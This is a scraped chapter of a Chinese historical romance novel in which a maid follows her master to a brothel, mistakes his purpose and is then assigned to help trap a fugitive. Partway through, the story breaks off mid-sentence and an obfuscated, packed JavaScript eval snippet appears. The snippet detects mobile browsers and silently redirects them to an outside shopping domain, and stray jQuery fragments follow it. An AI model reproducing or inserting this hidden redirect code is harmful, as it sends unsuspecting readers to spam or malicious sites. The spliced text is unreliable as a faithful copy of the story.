两人越走越远,林芸只来得及跟银筑打了声招呼,赶紧跟上去。前面两个人是走,她用跑的才在连廊拐角处勉强跟上。
终于不用跑,她步子丝毫不敢慢下来,喘息着尽量让自己显得优雅端庄……得起来吗!任谁腿走得像风火轮也好看不起来。
林芸内心吐槽,为什么每次都要走这么快,就不能照顾一下矮个子的感受吗?
不知是不是谢止良心发现,他果真慢下不少,见林芸喘息着呼出一团团白雾,他脚步顿了顿,“下次跟不上便直接说。”
“是,少爷。”林芸吁了一口气,林芸不是委屈自己的性子,有了这句话,她以后一定说。
三人上了马车,看着不像去官署的方向,往闹市而去。
天色灰蒙蒙的,两边的铺面还没开门,路上只有卖早点的摊贩,和寥寥几个学子匆匆路过。
清晨的空气格外清新,凌晨的上京,林芸第一次看到。
窗外飘来各种食物香气,林芸往窗外瞧一眼,几个提着书箱的学子围在小摊前,守着冒着白气的蒸笼。
马车在这时停下来,青砚下车排在学子后面,恰摊主吃食蒸好,揭开盖子,蒸腾的水气在寒冷的冬日里氲开一片,似云似雾。
有些飘进车厢里,又很快消散开来,化作一片浓郁的香气。
青砚很快捧着几个油纸包上来,一人一份。林芸接过来,两个沁出油花的大肉包,在这里叫馒头,羊肉馅,她不一定吃得完。
果然,林芸吃一个肉包,喝一杯米浆,就很饱了。剩下的肉包她将油纸包折好,想着带回去吃。
谢止看她一眼,没有说什么。
马车拐了个弯,这条路更安静,路上没一个行人。两旁都是几层高的楼宇,挂着彩绸,十分华丽。
林芸看清牌匾上的字,瞪大眼睛,转头看向谢止。不是吧,天没亮带着丫鬟小厮逛花楼?
谢止闭目养神,眼下青色隐约可见,林芸不敢出声打扰,欲言又止。
青砚朝她使了几个眼色,像是安抚,林芸只好耐心等着。
马车停下,谢止骤然睁开眼,林芸正直直看着他,忙移开目光。她眼中震惊让他动作顿了一下,谢止眉微皱,没说什么,第一个下车。
林芸呆愣一瞬的功夫,车中只剩她一人,犹疑一会儿,她跳下地。虽然谢止这个人傲慢又龟毛,人品和担当没得说,总不至于把她大早上拖到花楼卖了吧。
至于他是不是来寻快活,那不关她的事,只能说每个人癖好不一样,不理解,但尊重。
他们来到最大外饰最豪华的花楼,没有走正门,谢止在前,熟稔的找到后门进去。门口有一个浓眉大眼的年轻人喊他少卿,看来谢止是这里的常客。
林芸跟着入内,一楼十分宽敞且挑高极高,正中是一个高台,周围对称摆着桌椅,此时堂内没有一个人,空气中满是脂粉香和酒气。
上二楼有的门开着,林芸瞟了一眼,内里有桌有床,一目了然,应是客人夜宿的地方。满目都是暧昧的浅红色纱帐,林芸赶紧扭过头,不再多看,跟着谢止继续往上走。
三楼的房间明显大一些,挑高也更高,不像下面楼层那样逼仄。门敞开着也看不到里面,门口有宽大的屏风挡着,隐私性明显好些。
谢止的目的地到了,他停在走廊尽头,在门口停下,顿了顿,转身轻叩隔壁的门。
隔壁出来一个年轻人,也喊谢止少卿。他看了林芸一眼,因不知谢止计划,怕走漏风声,想说的话又吞下,只摇了摇头。
谢止对他颔首,年轻人又回到房间关上门。
谢止这才敲了敲面前的门,这次里面的人动作慢些,房中燃起烛火,过了一会儿,一个小姑娘开门,看上去比杏香还小些,揉着眼睛像是刚睡醒。
林芸一口气哽在喉咙里,看了一眼谢止高大的身形,又看看面前明显对谢止十分熟悉的小姑娘,她皱紧眉,感觉胃中一阵翻搅,极力忍住才没让自己呕吐。
谢止跟着小姑娘入内,青砚站在门边没进去,林芸跟他站在一起,等着门关上。
谢止像是身后长了眼睛,在她停住的同时转身,看向她,“跟上。”
林芸脑中翻腾的思绪戛然停下,脑子宕机,不但没跟上,反而后退一步。
同时,她看了看楼梯方向,想着要不要逃跑。
她眼中的防备和厌恶让谢止有些反应不来,不知她在脑中脑补什么。她眼神在他身边小姑娘身上落了一瞬,看他的眼神仿如他禽-兽不如,谢止明白过来,差点气得一个倒仰。
本以为她会认为他来此寻-欢作乐,谢止不在意,反正她跟着进去就知道了,何必做多余的解释。
可这小姑娘才十岁上下,在她眼中他竟是那种人?
谢止额角青筋跳了又跳,声音像是从牙缝里挤出来,“你想多了,进不进随你。”又对小姑娘道:“你家姑娘起了没有,让她外间来见。”
“起了起了,奴婢这就去喊小姐。”说完忙走进去拉开里间的帘子,帘子合拢,里面传来小姑娘清脆的声音,和好听的女子声音。声音很特别,像潺潺流水,清泠动人。
林芸脸上神情僵住,讨好的对谢止笑笑。
谢止黑沉着脸,不看她,径直入内。脚步不复从容,看样子像是气狠了。
林芸无奈,这也不能怪她,谢止不跟她说前因后果,她到现在不知道来这里所为何事,猜错了很正常好吧。
她跟上去,打量着周围陈设,像是普通闺阁女子的房间。香气淡雅,桌上摆着棋盘,墙边长桌上放着古琴,墙角书架摆满了书,摆件不多,素净又能看出价值不菲。
林芸看了一圈,只看装饰便已对人心生好感。
帘子被一只素手撩开,先看到她纤细的身量,淡青的袖袍落下,帘子晃了晃又坠下来。女子抬眼,一张芙蓉面上有一对极清澈的眼睛。
她脸上妆粉皆无,头发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705111|206388||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
简单挽着,明明从无交集,林芸却瞧她有些眼熟,想不起在哪见过。
她眼睛在谢止和她身上来回打量几次,恍然,原来谢止喜欢这种。
都说男子爱救风尘,这话看来不假。也是个痴情-人,此女虽然长相比银筑美几分,但身份所限,怕是进不了谢府。
难怪谢止这些年一直孤身一人,且一再拒绝银筑,原来在外早已有了心上人。
女子看了一眼林芸,疑惑道:“谢公子,您这是……”
谢止没回答她的问题,“坐。”说完坐到窗边的棋桌旁,女子没坐,和林芸面对面站着,林芸站着谢止身侧,烛光照在女子脸上,越看越眼熟。
“时间有限,我长话短说,这件事不必你再参与,你教好我身边这丫鬟,此事将由她来做。”
女子讶然看向谢止,面带犹豫,“这……不太好吧,怕是有损姑娘清誉。”见林芸面露茫然,怕是不知即将要面对什么,麝月不想拖无辜人下水,迎着谢止目光,不闪不避道:“多谢公子相助,可麝月不能答应,此事因我而起,不必连累无辜。”
谢止闻言心中高看她几分,可此事关乎能否一举擒到那人。他面上无一丝动容,道:“此事没有商量的余地,她比你更合适做这件事。”说完他起身,“人我交给你,你没把她教好,才是真正害了她。”
林芸终于认出这女子是先前见到的花魁,可这不重要。听他们两个谈话,像是花魁遇上什么麻烦事,即使花魁不愿牵连她,谢止仍要拿她顶包。
林芸握紧拳,在谢止朝外走时跟上去。她身份卑贱,命不值钱,可她不愿轻易认命,凭什么!
即将出门时,谢止顿住脚步,转身看向林芸,被她眼中怒火刺了一下,他抿抿唇,道:“事情不是你想的那样,时间紧,我留青砚在这里,他会向你解释。”
见林芸神情微松,他接着道:“不必担心,此事我保证不会伤到你。你胆子大,能应对此事,麝月姑娘反而很难应对。由你来配合行事,才能抓到此人。”
谢止走后很久,林芸脑子还是一团浆糊。她将事情整理成一条线,大概就是谢止在抓逃犯,逃犯可能会来麝月这里,谢止来在此布下天罗地网,只为抓住此人。
还有一事,青砚说麝月是宋公子的心上人。她对宋公子没印象,说是谢止好友,那谢止此举是为保护宋公子心上人,从而推出她?
虽然今日对谢止几番误会,可林芸还是有些气,要不是他保证不会伤到她,林芸势要“揭竿而起”。
虽说此事与麝月有关,可林芸不忍心怪她。这是个善良的姑娘,谢止既说了这事她来应对更好,没了回旋的余地,林芸便耐心跟麝月学。学着她的姿态、语气,一天下来,行走坐卧都有颇大改变。
谢止下值第一时间来此,他仍从后门进来,穿着便服,颜色较他往日穿的明艳许多。
不怪林芸用“明艳”这个词,实在是他站在此处,更像是被消费的。